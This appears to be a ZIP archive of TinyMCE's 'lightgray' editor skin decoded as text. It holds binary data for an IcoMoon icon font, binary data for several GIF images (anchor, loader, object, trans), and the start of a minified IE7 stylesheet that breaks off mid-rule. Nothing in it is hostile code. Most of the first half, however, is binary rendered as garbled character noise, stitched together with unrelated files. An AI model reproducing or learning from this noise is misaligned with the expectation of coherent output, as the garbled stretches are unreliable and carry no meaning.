����>��>��>������%3#575#53#'#	373�����܈���������22@�<2@�R���������3#575#53#'#	373�����܈����������2@�<2@�n���������3%!7!5>54.#"!!5.54>32�@��1R<!7`�II�`7!<R1��@FvU/P��jj��P/UvF@���H_p>P�g;;g�P>p_H��!Sl�G]�zFFz�]G�lS���'3?S"32>54.".54>32#"&54632#"&546322>7#".'j��PP��jj��PP��jY�uDDu�YY�uDDu��%%%%�%%%%�5aRB8Um==mU8BRa�P��jj��PP��jj��P�PDu�YY�uDDu�YY�uDp%%%%%%%%��"-@oQ//Qo@-"�'!!!";!32654&!!%#"&54632����&&��&&�����@&��&�&@&��@����
''7''!7!7'7!7��lԊ�v�lԊ�������l�Ԋ���������lԊ��lԊ��������llԊ���@����
048>334&+"33#%5#";5#54&+326=4&#26#535#53	7��@&�&@��@�&&���&��&@�����`�R�`���&&�����@&��&@@``&�@&`&&ƀ@���@
F�.���#53533##%!3!�������@����������������#'/37?CH3#73#%#535#53#73#%3#33#73#%#535#53#73#%3#3!!1!������@��@�@�������@��@�����@��@�@�������@������@�@@@@�@�@�@@@��@@��@@@@�@�@�@@@��@@@�������#3#73#%3#73#%3#!3!!#!�������������
��@
���@@@@@@@@@@�@��������@�����%+2#5267>54&'.#"33>!3@]�zFFz�]G�225522�GG�2&2	���Nv����Fz�]]�zF`522�GG�22552&_4�Q�g;���@��@�$>54.#!!2>54&32+#32�
(F]5���5]F(D��e*<<)f���,>>�"T/5]F(��(F]5FtFK55K��K55K���#3!53#5������@�@��@�@@@�@�3#".533267>5!!��2WuBBuW2�I((I������`<iN--Ni<��`88����8<#"&'.5332654&#"&'.5467>32#4&#"32%!!�0550,q>>q,05�rNNrrN>q,0550,q>>q,05�rNNrrN>q,�%��$b55b$!$$!$b54LL44L$!$b55b$!$$!$b54LL44L$!@���!####".54>�����.R=##=R�����#=R..R=#@��!####".54>
�����.R=##=R��������#=R..R=#����
��!####".54>-����.R=##=R������#=R..R=#�������	#5'!!!'##%!3!!5333@���@���ee��ee��@��������@���@eeee���@�����@�#'+/37;3#3#3#3#'3#3#'3#3#3#3#3#'3#'3#'3#'3#@@�@@@@@@�@@@@�@@�@@@@@@@@�@@�@@�@@�@@�@@@@@@@�@@@@@@@@@@@@@@@@@@@@@����	''�
������������5A!'!!3!!.54>32'>54&#"3267?6&%"&54632��`
��@�8K-�@�'B0+Jc88cJ+c�
pPPppP2�3��3II33II@@�����3BQ,8cJ++Jc8
ү2PppPPp
�3�I33II33I@���*59=373#35#335'54&+54&+"#"3!!81381#55!!!
 @0�0@  @
�&�&�


���������@�@@@���
@&&@
��
��@@�@@�@@���"&.'.#"#5>723#5!!!�	&		z�]�W�@���@PF

��s�*�����@�0��}:)%!!!!>2&'>7>&'.s��CI�L���B���BBBBB.mv{;.`_X%8<04-t~8V��P�G�GBBBBB���B-<
3%9���4-0&)V'-����+i'#".'81<5<51045041>7'7818181<1.10>7>71099>581<5<5}Z@JQ+N�i>%�-�:c-x�u%;K%F
<<)?,MY0";f�P'OMJ#�-���d0w�k
:R1F&BB&4c^W'MG$��
`%KWj546;5#"+32;5#"&=4&'>5!54&+532;#"+5326=467.5'#"&54632"0>54&#�.
Kk.  .kK .p. Kk.  .kK .�=++==++=h+=.<5#ANA=+Bh
.hkKh .h. hKkh. h&CC&h .hkKh .h. hKkh.
h&CC&+==++==�=+*;>%ZX+=�!!5!5#!55!!!!5!����@��������������������������	�#!!5!5#!5!!%!!5!!!!5!����@�������������������������������@�!!5!5!5!!5!5!5!!5!5!5!5!5!�@��@��@��������@��@��@�@��@�@�@��!!!5#!5!!5!!!��@���@��������������@�������������%5#53533#!!!!5!5!5!5!5!@��V���j����@@�����Z��Z��������@�@�@��3##5#535%!!5!5!5!5!5!!!���V�����@������@��Z��Z��������@�@��@��##5#53533!!5!!5!!5!5!!��F��F��M�@�@�@�������C��@����������=��3533##5#!!!%!!!!5!5!M�F��F��������������C��C������������=��'!!!!5!5!5!5!5!!!5!5!''7'77���@������@�`=��=��=��=���������@�@��@�@���=��=��=��=��!!!!''7'77�=��}�`��`��`��`�����@���`��`��`��`�@�!!5!5!5!5!5!!5!5!5!5!5!�����@������@��@�@��@�@�@�@�!!5!5!5!!5!5!5!!5!5!5!�@��@��@�����@��@��@�@��@�@��$''7'77!#3#3!5!7!5!'!5!v��M��M��M��I��@@VZ@��6@��s@���=��M��J��M��MC�����@�@��@�@��%155!!'5!'5!!57!57!'77'7@@@@@@����
3�3
�#0��M��L��M���@
@�M@�@����3
4ZZ4
3�@v#ss0S�j��M��M��M��@����
5%33'47632#"'&��@�@@�@��@��((((�@��@���@��@��(((
�#'3#7!!3#7!!3#7!!3#7!!3#7!!���@�������������@�����@������������@���@���@���@������3'	7%93267>594&'.'
DVVV����TW��#@�		
	
�CVVV���P���#3I/


,���!!!!!!!!����
�j@V�*�*����	#57'762!!5�
���@�C+lC���Ts�
���=�Cm+C��pp	���	!GVht�!!##53#575#53%#535#535#5>32#.'#"&546?>54&#"##3267573>32#"&'#32654&#"%.#"3267#"&54632#�0CC�Ɇ��̉�����55+J
)0.5&C�		�J0:=0GG�G?07BC90>C�@�C�6C�@7C����CCGCC�,(
p
+!"'	
3	#�p
E7:MV� ''
!%'%"$%-3G9<G2.���2.#"34>32!#".'7!732>5z#U`j8j��P`Aq�V.WOE�`�&Aq�V.WOE����#U`j8j��P&>+P��jV�qA$3
�`���V�qA$3 ����&>+P��j���
(,'>735!5#!!.'#7261%#3733%7#*w4+#
���]��H3!6\D+�D�$]�]3�3]��MM�0v"IMP(]]]]C7$M,:j0�C�]�Ѝ����@��3#3#%3#3#%3#3#%3#3#@������������������������������������	5	!!!�������r��s���s�����
@�7)!3#!!3#@�����@���@���Q��Q��@���@@����!!"3!265#5#	G��E���!//!�!/�����E?���/!��!//!0��������!!7!"3!26534&'��`��(88(�(8
���`X��0�0�����8(�@(88(����`HX��0�0���!";!2654&!5#!���(88(�3m(88H����8(�(8�8((8�����@�`&.106726'46.#"310!4.oE
SZZS
EpqU�Uqp>V@dW^JJ^Wd@V>-FZ00ZF-����##54&+"#"3!2654&%46;2!PqO�Oq
�\&�&��OqqO��
��&&�����#2#54&+"32#!"&5463!5463Oq�&�&���qO�qO��&&��
��Oq�37OS54&+"#3;26=!5534&+"!!;26=35#534&+"#3;26=!5!53�����@������@�����������@����@�����������������@����
!!%5!!7!5!#53��@����@@����@�����@@�@���!!!!!!������@�@�����$%.#"3!26'%"&546327#4632�K

�K%3f3%�%%%%X%%,g��,@@,%%%%�%%���8M3#2#575!57"32>7>54.'.#512#".54>���%������*PKD--DKP**PKD--DKP*j��PP��jj��PP���@%��@�@��-DKP**PKD--DKP**PKD-`P��jj��PP��jj��P���'3"32>54.".54>32##5#53533j��PP��jj��PP��jP�i<<i�PP�i<<i���������P��jj��PP��jj��P��<i�PP�i<<i�PP�i<@��������!"32>54.3#!53#533j��PP��jj��PP�������@@�@�P��jj��PP��jj��P���@@�����	
%!!#535#3��@��
� �ࠀ������@�� �
��������a�6.'32>7>&'#"&'32>7>'aK\j77j\KHYe55eYH~!|F)N!

,TJ="
"�E�wl//lw�E+XXV).L66L.)VXX+��>K-?'@�5*0�A@@3!26=4&#!"
�

�@

�

�
���#!4&+"!"3!;265!26=4&�
�
��

`
�
`
@`

��
�
��

`
�
�@	7�@@��@�@��������	��@����������@'	������@���@��@@	��@�@@	@���		������@��	7!!!!'#5'��������[c�����������[b�
@�@#"#7#4>32#2>54.#`P�i<����+Jd99dJ++Jd9P�i<<i�P@<i�P��9dJ++Jd99dJ+n<i�PP�i<
@�@#23'34.#"3".54>3�P�i<����+Jd99dJ++Jd9P�i<<i�P@<i�P��9dJ++Jd99dJ+n<i�PP�i<�!!�@��@�����!)@��@�������"6B%'.>54.#"326776&".54>32##33535#��'+1<i�PP�i<<i�PG�2�K��5]F((F]55]F((F]������Y�2�GP�i<<i�PP�i<1+'�K(F]55]F((F]55]F(����������"6:%'.>54.#"326776&".54>32!!��'+1<i�PP�i<<i�PG�2�K��5]F((F]55]F((F]����Y�2�GP�i<<i�PP�i<1+'�K(F]55]F((F]55]F(@�@N!	5#'35#'35#'35#'35#'35#'35#'35#'35#'35!'!5!'!5!'!5!'733#3!!!!!!���-;IXft�����������-��I����������7��W��@���@�u��u@@�!!!!!!@����������@�@�
���
)7FTcr��%2#"&=46"&=46322+"&5463+"&546;2"/&4762'&4762"%"'&4?6262"'&4?"32>54."&54632%%%%%%%%�%%@%%�@%@%%@%}-5.5��-5.5g5.5-��5.5-=5]F((F]55]F((F]5B^^BB^^�%@%%@%�%@%%@%�%%%%@%%%%�.5-5�.5-55-5.�<5-5.�(F]55]F((F]55]F(�`^BB^^BB^3��.''>7>.'�-`1.6!((r��KK.\ʿ�553z\�
<���EFhA
'C53z\\˿�6���"32>54.4>3".j��PP��jj��PP���<i�PP�i<�P��jj��PP��jj��P�P�i<�<i��C}='			7}Z���Z"��Z##Z���Z��"Z���Z"��Z#���`�7	'����@��@�@@�����(326=#"3!2654&#"32654&#!"%%��%%�%%%�[�%%��%���%%�[%%%�%%��%%%���7'!5##3!3535#!@�@��@�������@��@@��@�����������@@����#�_<��������������}@m@@@.�@6�@������@
�@0-��@*@@@@���@
 @3��
B��8b�R�^���Pn�<�F���
<����		`	�

P
�
�@��L���

P
�
�
t�x6x��$\��F|��Fz�&Rd��0h��>r�Z�Dl��(<P^l���"4��\vHx���J}��`6uK
�		g	=	|	 	R	
4�tinymcetinymceVersion 1.0Version
1.0tinymcetinymcetinymcetinymceRegularRegulartinymcetinymceFont generated
by IcoMoon.Font generated by
IcoMoon.PKV��[���55&tinymce/skins/lightgray/img/anchor.gifnu�[���GIF89a����!�,�a�����t4V;PKV��[����0
0
&tinymce/skins/lightgray/img/loader.gifnu�[���GIF89a���������Ҽ����������ܸ����������ت����������������������666&&&PPP���ppp���VVV���hhhFFF�����HHH222!�NETSCAPE2.0!�Created
with ajaxload.info!�	
,�@�pH�b�$Ĩtx@$�W@e��8>S���-k�\�'<\0�f4�`�
/yXg{wQ
o	�X
h�
Dd�	a�eTy�vkyBVevCp�y��CyFp�QpGpP�CpHp�ͫpIp��pJ�����e��
֝X��ϧ���e��p�X����%䀪ia6�Ž�'_S$�jt�EY�<��M��zh��*AY
���I8�ظq���J6c����N8/��f�s��	!�	
,�@�pH�P Ĩtx@$�W��8L�
��'��p�0g�	�B
h�ew����f!Q
mx[

[
Dbd	jx��B�iti��BV[tC�f��C�c��C�gc�D�c���c�ټ����[��cL��
cM��cN��[O��fPba��lB�-N���ƌ!��t�
"��`Q��$}`����̙bJ,{԰q	GÈ�ܠ�V��.�xI���:A!�	
,�@�pH�P Ĩtx@$�W��8L�
��'��p�0g�	�B
h�ew����fusD
mx[

[eiCbd	j�XT��jif^V[tC�[f��CfFc�Q�[Gc�DcHc��
cIc��BcJ���ش�������X������	�c���ŪXX���!F�J�ϗ�t�4q���C
���hQ�G��x�!J@cPJ
��8*��Q�&9!b2��X��c�p�u$ɒ&O�!�	
,�@�pH�P Ĩtx@$�W��8L�
��'��p�0g�	�B
h�ew����fusD
mx[

[eiCbd	j�XT��jif^V[tC�[f��CfFc�Q�[Gc�DcHc��
cIc��BcJ���؍����[M���[N��XO�ӺcP�X���c����WP��Fӗ
:TjH�7X-�u!��
^��@ICb��"C����dJ� �
�eJ�~Uc3#�A���	��	!�	
,�@�pH�P Ĩtx@$�W��8L�
��'��p�0g�	�B
h�ew����fusD
mx[

[eiCbd	j�XT��jif^V[tC�[f��CfFc�Q�[Gc�DcHc��
cIc��BcJ���؍����[M���[N��XO�ӺcP�X���c����cP���B�t�t%ԐB+HԐ�G�$]���
C#�K��(Gn٣��
Un���d�������NC���%M��	!�	
,�@�pH�P Ĩtx@$�W��8L�
��'��p�0g�	�B
h�ew����fusD
mx[

[eiCbd	j�XT��jif^V[tC�[f��CfFc�Q�[Gc�DcHc��
cIc��BcJ����P��[����[���[b��X�׿�c�ph��/Xcfp��+ScP}`�M�&N����6@�5z���(B�RR�AR�i�e�63��yx��4ƪ���
�$J�8�%!�	
,�@�pH�P Ĩtx@$�W��8L�
��'��p�0g�	�B
h�ew����cusD 

[eiB��Zjx[C���jif^�tC�[�J�Cf	��D�[���Dc��C
c�Pڏc���c���c���[Mc�Ԥc��XOf>I6��-&(�5f���	��1dx%�O�mmFaY��Q$"-EY��E2
I���=j�Ԅ#�V7/�H�"��EmF�(a�$ܗ
!�	
,�@�pH|$0
�P ĨT�qp*X,
��"ө�-o�]�"<d��f4��`B��/�yYg{	
uD
\eP
hgkC�a�hC{vk{`r�B�h{�C{r�D�h�h�CF�r��
rr�Br���h���hL���hMr���i�h���]O���r��BS+X.9�����+9�8c�
0Q�%85D�.(�6��%.����Ȑ�Ca�,�����B����{�$;0��/�z5۶��;A;PKV��[g�e��&tinymce/skins/lightgray/img/object.gifnu�[���GIF89a
����???ooo���WWW������������������򝝝���333!�,
E��I�{�����Y�5Oi�#E
ȩ�1��GJS��};������e|����+%4�Ht�,�gLnD;PKV��[����++%tinymce/skins/lightgray/img/trans.gifnu�[���GIF89a�!�,D;PKV��[���X�X�(tinymce/skins/lightgray/skin.ie7.min.cssnu�[���.mce-container,.mce-container
*,.mce-widget,.mce-widget
*,.mce-reset{margin:0;padding:0;border:0;outline:0;vertical-align:top;background:transparent;text-decoration:none;color:#333;font-family:"Helvetica
Neue",Helvetica,Arial,sans-serif;font-size:14px;text-shadow:none;float:none;position:static;width:auto;height:auto;white-space:nowrap;cursor:inherit;-webkit-tap-highlight-color:transparent;line-height:normal;font-weight:normal;text-align:left;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box;direction:ltr;max-width:none}.mce-widget
button{-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}.mce-container
*[unselectable]{-moz-user-select:none;-webkit-user-select:none;-o-user-select:none;user-select:none}.mce-fade{opacity:0;-webkit-transition:opacity
.15s linear;transition:opacity .15s
linear}.mce-fade.mce-in{opacity:1}.mce-tinymce{visibility:inherit
!important;position:relative}.mce-fullscreen{border:0;padding:0;margin:0;overflow:hidden;height:100%;z-index:100}div.mce-fullscreen{position:fixed;top:0;left:0;width:100%;height:auto}.mce-tinymce{display:block}.mce-wordcount{position:absolute;top:0;right:0;padding:8px}div.mce-edit-area{background:#FFF;filter:none}.mce-statusbar{position:relative}.mce-statusbar
.mce-container-body{position:relative}.mce-fullscreen
.mce-resizehandle{display:none}.mce-charmap{border-collapse:collapse}.mce-charmap
td{cursor:default;border:1px solid
rgba(0,0,0,0.2);width:20px;height:20px;line-height:20px;text-align:center;vertical-align:middle;padding:2px}.mce-charmap
td div{text-align:center}.mce-charmap td:hover{background:#D9D9D9}.mce-grid
td.mce-grid-cell div{border:1px solid
#d6d6d6;width:15px;height:15px;margin:0;cursor:pointer}.mce-grid
td.mce-grid-cell div:focus{border-color:#3498db}.mce-grid td.mce-grid-cell
div[disabled]{cursor:not-allowed}.mce-grid{border-spacing:2px;border-collapse:separate}.mce-grid
a{display:block;border:1px solid transparent}.mce-grid a:hover,.mce-grid
a:focus{border-color:#3498db}.mce-grid-border{margin:0 4px 0
4px}.mce-grid-border
a{border-color:#d6d6d6;width:13px;height:13px}.mce-grid-border
a:hover,.mce-grid-border
a.mce-active{border-color:#3498db;background:#3498db}.mce-text-center{text-align:center}div.mce-tinymce-inline{width:100%}.mce-colorbtn-trans
div{text-align:center;vertical-align:middle;font-weight:bold;font-size:20px;line-height:16px;color:#707070}.mce-monospace{font-family:"Courier
New",Courier,monospace}.mce-toolbar-grp{padding:2px 0}.mce-toolbar-grp
.mce-flow-layout-item{margin-bottom:0}.mce-rtl
.mce-wordcount{left:0;right:auto}.mce-croprect-container{position:absolute;top:0;left:0}.mce-croprect-handle{position:absolute;top:0;left:0;width:20px;height:20px;border:2px
solid white}.mce-croprect-handle-nw{border-width:2px 0 0 2px;margin:-2px 0
0
-2px;cursor:nw-resize;top:100px;left:100px}.mce-croprect-handle-ne{border-width:2px
2px 0 0;margin:-2px 0 0
-20px;cursor:ne-resize;top:100px;left:200px}.mce-croprect-handle-sw{border-width:0
0 2px 2px;margin:-20px 2px 0
-2px;cursor:sw-resize;top:200px;left:100px}.mce-croprect-handle-se{border-width:0
2px 2px 0;margin:-20px 0 0
-20px;cursor:se-resize;top:200px;left:200px}.mce-croprect-handle-move{position:absolute;cursor:move;border:0}.mce-croprect-block{opacity:.3;filter:alpha(opacity=30);zoom:1;position:absolute;background:black}.mce-croprect-handle:focus{border-color:#3498db}.mce-croprect-handle-move:focus{outline:1px
solid
#3498db}.mce-imagepanel{overflow:auto;background:black}.mce-imagepanel-bg{position:absolute;background:url('data:image/gif;base64,R0lGODdhDAAMAIABAMzMzP///ywAAAAADAAMAAACFoQfqYeabNyDMkBQb81Uat85nxguUAEAOw==')}.mce-imagepanel
img{position:absolute}.mce-imagetool.mce-btn
.mce-ico{display:block;width:20px;height:20px;text-align:center;line-height:20px;font-size:20px;padding:5px}.mce-arrow-up{margin-top:12px}.mce-arrow-down{margin-top:-12px}.mce-arrow:before,.mce-arrow:after{position:absolute;left:50%;display:block;width:0;height:0;border-style:solid;border-color:transparent;content:""}.mce-arrow.mce-arrow-up:before{top:-9px;border-bottom-color:rgba(0,0,0,0.2);border-width:0
9px
9px;margin-left:-9px}.mce-arrow.mce-arrow-down:before{bottom:-9px;border-top-color:rgba(0,0,0,0.2);border-width:9px
9px
0;margin-left:-9px}.mce-arrow.mce-arrow-up:after{top:-8px;border-bottom-color:#f0f0f0;border-width:0
8px
8px;margin-left:-8px}.mce-arrow.mce-arrow-down:after{bottom:-8px;border-top-color:#f0f0f0;border-width:8px
8px
0;margin-left:-8px}.mce-arrow.mce-arrow-left:before,.mce-arrow.mce-arrow-left:after{margin:0}.mce-arrow.mce-arrow-left:before{left:8px}.mce-arrow.mce-arrow-left:after{left:9px}.mce-arrow.mce-arrow-right:before,.mce-arrow.mce-arrow-right:after{left:auto;margin:0}.mce-arrow.mce-arrow-right:before{right:8px}.mce-arrow.mce-arrow-right:after{right:9px}.mce-arrow.mce-arrow-center.mce-arrow.mce-arrow-left:before{left:-9px;top:50%;border-right-color:rgba(0,0,0,0.2);border-width:9px
9px 9px
0;margin-top:-9px}.mce-arrow.mce-arrow-center.mce-arrow.mce-arrow-left:after{left:-8px;top:50%;border-right-color:#f0f0f0;border-width:8px
8px 8px
0;margin-top:-8px}.mce-arrow.mce-arrow-center.mce-arrow.mce-arrow-left{margin-left:12px}.mce-arrow.mce-arrow-center.mce-arrow.mce-arrow-right:before{right:-9px;top:50%;border-left-color:rgba(0,0,0,0.2);border-width:9px
0 9px
9px;margin-top:-9px}.mce-arrow.mce-arrow-center.mce-arrow.mce-arrow-right:after{right:-8px;top:50%;border-left-color:#f0f0f0;border-width:8px
0 8px
8px;margin-top:-8px}.mce-arrow.mce-arrow-center.mce-arrow.mce-arrow-right{margin-left:-14px}.mce-container,.mce-container-body{display:block}.mce-autoscroll{overflow:hidden}.mce-scrollbar{position:absolute;width:7px;height:100%;top:2px;right:2px;opacity:.4;filter:alpha(opacity=40);zoom:1}.mce-scrollbar-h{top:auto;right:auto;left:2px;bottom:2px;width:100%;height:7px}.mce-scrollbar-thumb{position:absolute;background-color:#000;border:1px
solid
#888;border-color:rgba(85,85,85,0.6);width:5px;height:100%}.mce-scrollbar-h
.mce-scrollbar-thumb{width:100%;height:5px}.mce-scrollbar:hover,.mce-scrollbar.mce-active{background-color:#AAA;opacity:.6;filter:alpha(opacity=60);zoom:1}.mce-scroll{position:relative}.mce-panel{border:0
solid #cacaca;border:0 solid
rgba(0,0,0,0.2);background-color:#f0f0f0}.mce-floatpanel{position:absolute}.mce-floatpanel.mce-fixed{position:fixed}.mce-floatpanel
.mce-arrow,.mce-floatpanel
.mce-arrow:after{position:absolute;display:block;width:0;height:0;border-color:transparent;border-style:solid}.mce-floatpanel
.mce-arrow{border-width:11px}.mce-floatpanel
.mce-arrow:after{border-width:10px;content:""}.mce-floatpanel.mce-popover{filter:progid:DXImageTransform.Microsoft.gradient(enabled
= false);background:transparent;top:0;left:0;background:#FFF;border:1px
solid rgba(0,0,0,0.2);border:1px solid
rgba(0,0,0,0.25)}.mce-floatpanel.mce-popover.mce-bottom{margin-top:10px;*margin-top:0}.mce-floatpanel.mce-popover.mce-bottom>.mce-arrow{left:50%;margin-left:-11px;border-top-width:0;border-bottom-color:rgba(0,0,0,0.2);border-bottom-color:rgba(0,0,0,0.25);top:-11px}.mce-floatpanel.mce-popover.mce-bottom>.mce-arrow:after{top:1px;margin-left:-10px;border-top-width:0;border-bottom-color:#FFF}.mce-floatpanel.mce-popover.mce-bottom.mce-start{margin-left:-22px}.mce-floatpanel.mce-popover.mce-bottom.mce-start>.mce-arrow{left:20px}.mce-floatpanel.mce-popover.mce-bottom.mce-end{margin-left:22px}.mce-floatpanel.mce-popover.mce-bottom.mce-end>.mce-arrow{right:10px;left:auto}.mce-fullscreen{border:0;padding:0;margin:0;overflow:hidden;height:100%}div.mce-fullscreen{position:fixed;top:0;left:0}#mce-modal-block{opacity:0;filter:alpha(opacity=0);zoom:1;position:fixed;left:0;top:0;width:100%;height:100%;background:#000}#mce-modal-block.mce-in{opacity:.3;filter:alpha(opacity=30);zoom:1}.mce-window-move{cursor:move}.mce-window{filter:progid:DXImageTransform.Microsoft.gradient(enabled
=
false);background:transparent;background:#FFF;position:fixed;top:0;left:0;opacity:0;transform:scale(.1);transition:transform
100ms ease-in,opacity 150ms
ease-in}.mce-window.mce-in{transform:scale(1);opacity:1}.mce-window-head{padding:9px
15px;border-bottom:1px solid #c5c5c5;position:relative}.mce-window-head
.mce-close{position:absolute;right:0;top:0;height:38px;width:38px;text-align:center;cursor:pointer}.mce-window-head
.mce-close i{color:#858585}.mce-close:hover
i{color:#adadad}.mce-window-head
.mce-title{line-height:20px;font-size:20px;font-weight:bold;text-rendering:optimizelegibility;padding-right:20px}.mce-window
.mce-container-body{display:block}.mce-foot{display:block;background-color:#FFF;border-top:1px
solid #c5c5c5}.mce-window-head
.mce-dragh{position:absolute;top:0;left:0;cursor:move;width:90%;height:100%}.mce-window
iframe{width:100%;height:100%}.mce-window-body
.mce-listbox{border-color:#ccc}.mce-rtl .mce-window-head
.mce-close{position:absolute;right:auto;left:15px}.mce-rtl .mce-window-head
.mce-dragh{left:auto;right:0}.mce-rtl .mce-window-head
.mce-title{direction:rtl;text-align:right}.mce-tooltip{position:absolute;padding:5px;opacity:.8;filter:alpha(opacity=80);zoom:1}.mce-tooltip-inner{font-size:11px;background-color:#000;color:white;max-width:200px;padding:5px
8px 4px
8px;text-align:center;white-space:normal}.mce-tooltip-arrow{position:absolute;width:0;height:0;line-height:0;border:5px
dashed
#000}.mce-tooltip-arrow-n{border-bottom-color:#000}.mce-tooltip-arrow-s{border-top-color:#000}.mce-tooltip-arrow-e{border-left-color:#000}.mce-tooltip-arrow-w{border-right-color:#000}.mce-tooltip-nw,.mce-tooltip-sw{margin-left:-14px}.mce-tooltip-ne,.mce-tooltip-se{margin-left:14px}.mce-tooltip-n
.mce-tooltip-arrow{top:0;left:50%;margin-left:-5px;border-bottom-style:solid;border-top:none;border-left-color:transparent;border-right-color:transparent}.mce-tooltip-nw
.mce-tooltip-arrow{top:0;left:10px;border-bottom-style:solid;border-top:none;border-left-color:transparent;border-right-color:transparent}.mce-tooltip-ne
.mce-tooltip-arrow{top:0;right:10px;border-bottom-style:solid;border-top:none;border-left-color:transparent;border-right-color:transparent}.mce-tooltip-s
.mce-tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-top-style:solid;border-bottom:none;border-left-color:transparent;border-right-color:transparent}.mce-tooltip-sw
.mce-tooltip-arrow{bottom:0;left:10px;border-top-style:solid;border-bottom:none;border-left-color:transparent;border-right-color:transparent}.mce-tooltip-se
.mce-tooltip-arrow{bottom:0;right:10px;border-top-style:solid;border-bottom:none;border-left-color:transparent;border-right-color:transparent}.mce-tooltip-e
.mce-tooltip-arrow{right:0;top:50%;margin-top:-5px;border-left-style:solid;border-right:none;border-top-color:transparent;border-bottom-color:transparent}.mce-tooltip-w
.mce-tooltip-arrow{left:0;top:50%;margin-top:-5px;border-right-style:solid;border-left:none;border-top-color:transparent;border-bottom-color:transparent}.mce-progress{display:inline-block;position:relative;height:20px}.mce-progress
.mce-bar-container{display:inline-block;width:100px;height:100%;margin-right:8px;border:1px
solid #ccc;overflow:hidden}.mce-progress
.mce-text{display:inline-block;margin-top:auto;margin-bottom:auto;font-size:14px;width:40px;color:#333}.mce-bar{display:block;width:0;height:100%;background-color:#d7d7d7;-webkit-transition:width
.2s ease;transition:width .2s
ease}.mce-notification{position:absolute;background-color:#F0F0F0;padding:5px;margin-top:5px;border-width:1px;border-style:solid;border-color:#CCCCCC;transition:transform
100ms ease-in,opacity 150ms
ease-in;opacity:0}.mce-notification.mce-in{opacity:1}.mce-notification-success{background-color:#dff0d8;border-color:#d6e9c6}.mce-notification-info{background-color:#d9edf7;border-color:#779ECB}.mce-notification-warning{background-color:#fcf8e3;border-color:#faebcc}.mce-notification-error{background-color:#f2dede;border-color:#ebccd1}.mce-notification.mce-has-close{padding-right:15px}.mce-notification
.mce-ico{margin-top:5px}.mce-notification-inner{display:inline-block;font-size:14px;margin:5px
8px 4px
8px;text-align:center;white-space:normal;color:#31708f}.mce-notification-inner
a{text-decoration:underline;cursor:pointer}.mce-notification
.mce-progress{margin-right:8px}.mce-notification .mce-progress
.mce-text{margin-top:5px}.mce-notification *,.mce-notification
.mce-progress .mce-text{color:#333333}.mce-notification .mce-progress
.mce-bar-container{border-color:#CCCCCC}.mce-notification .mce-progress
.mce-bar-container
.mce-bar{background-color:#333333}.mce-notification-success
*,.mce-notification-success .mce-progress
.mce-text{color:#3c763d}.mce-notification-success .mce-progress
.mce-bar-container{border-color:#d6e9c6}.mce-notification-success
.mce-progress .mce-bar-container
.mce-bar{background-color:#3c763d}.mce-notification-info
*,.mce-notification-info .mce-progress
.mce-text{color:#31708f}.mce-notification-info .mce-progress
.mce-bar-container{border-color:#779ECB}.mce-notification-info
.mce-progress .mce-bar-container
.mce-bar{background-color:#31708f}.mce-notification-warning
*,.mce-notification-warning .mce-progress
.mce-text{color:#8a6d3b}.mce-notification-warning .mce-progress
.mce-bar-container{border-color:#faebcc}.mce-notification-warning
.mce-progress .mce-bar-container
.mce-bar{background-color:#8a6d3b}.mce-notification-error
*,.mce-notification-error .mce-progress
.mce-text{color:#a94442}.mce-notification-error .mce-progress
.mce-bar-container{border-color:#ebccd1}.mce-notification-error
.mce-progress .mce-bar-container
.mce-bar{background-color:#a94442}.mce-notification
.mce-close{position:absolute;top:6px;right:8px;font-size:20px;font-weight:bold;line-height:20px;color:#858585;cursor:pointer;height:20px;overflow:hidden}.mce-abs-layout{position:relative}body
.mce-abs-layout-item,.mce-abs-end{position:absolute}.mce-abs-end{width:1px;height:1px}.mce-container-body.mce-abs-layout{overflow:hidden}.mce-btn{border:1px
solid #b1b1b1;border-color:transparent transparent transparent
transparent;position:relative;text-shadow:0 1px 1px
rgba(255,255,255,0.75);display:inline-block;*display:inline;*zoom:1;background-color:#f0f0f0}.mce-btn:hover,.mce-btn:focus{color:#333;background-color:#e3e3e3;border-color:#ccc}.mce-btn.mce-disabled
button,.mce-btn.mce-disabled:hover
button{cursor:default;opacity:.4;filter:alpha(opacity=40);zoom:1}.mce-btn.mce-active,.mce-btn.mce-active:hover{background-color:#dbdbdb;border-color:#ccc}.mce-btn:active{background-color:#e0e0e0;border-color:#ccc}.mce-btn
button{padding:4px
8px;font-size:14px;line-height:20px;*line-height:16px;cursor:pointer;color:#333;text-align:center;overflow:visible;-webkit-appearance:none}.mce-btn
button::-moz-focus-inner{border:0;padding:0}.mce-btn i{text-shadow:1px 1px
none}.mce-primary.mce-btn-has-text{min-width:50px}.mce-primary{color:#fff;border:1px
solid
transparent;border-color:transparent;background-color:#2d8ac7}.mce-primary:hover,.mce-primary:focus{background-color:#257cb6;border-color:transparent}.mce-primary.mce-disabled
button,.mce-primary.mce-disabled:hover
button{cursor:default;opacity:.4;filter:alpha(opacity=40);zoom:1}.mce-primary.mce-active,.mce-primary.mce-active:hover,.mce-primary:not(.mce-disabled):active{background-color:#206ea1}.mce-primary
button,.mce-primary button i{color:#fff;text-shadow:1px 1px none}.mce-btn
.mce-txt{font-size:inherit;line-height:inherit;color:inherit}.mce-btn-large
button{padding:9px 14px;font-size:16px;line-height:normal}.mce-btn-large
i{margin-top:2px}.mce-btn-small button{padding:1px
5px;font-size:12px;*padding-bottom:2px}.mce-btn-small
i{line-height:20px;vertical-align:top;*line-height:18px}.mce-btn
.mce-caret{margin-top:8px;margin-left:0}.mce-btn-small
.mce-caret{margin-top:8px;margin-left:0}.mce-caret{display:inline-block;*display:inline;*zoom:1;width:0;height:0;vertical-align:top;border-top:4px
solid #333;border-right:4px solid transparent;border-left:4px solid
transparent;content:""}.mce-disabled
.mce-caret{border-top-color:#aaa}.mce-caret.mce-up{border-bottom:4px solid
#333;border-top:0}.mce-btn-flat{border:0;background:transparent;filter:none}.mce-btn-flat:hover,.mce-btn-flat.mce-active,.mce-btn-flat:focus,.mce-btn-flat:active{border:0;background:#e6e6e6;filter:none}.mce-btn-has-text
.mce-ico{padding-right:5px}.mce-rtl .mce-btn
button{direction:rtl}.mce-btn-group
.mce-btn{border-width:1px;margin:0;margin-left:2px}.mce-btn-group:not(:first-child){border-left:1px
solid #d9d9d9;padding-left:3px;margin-left:3px}.mce-btn-group
.mce-first{margin-left:0}.mce-btn-group
.mce-btn.mce-flow-layout-item{margin:0}.mce-rtl .mce-btn-group
.mce-btn{margin-left:0;margin-right:2px}.mce-rtl .mce-btn-group
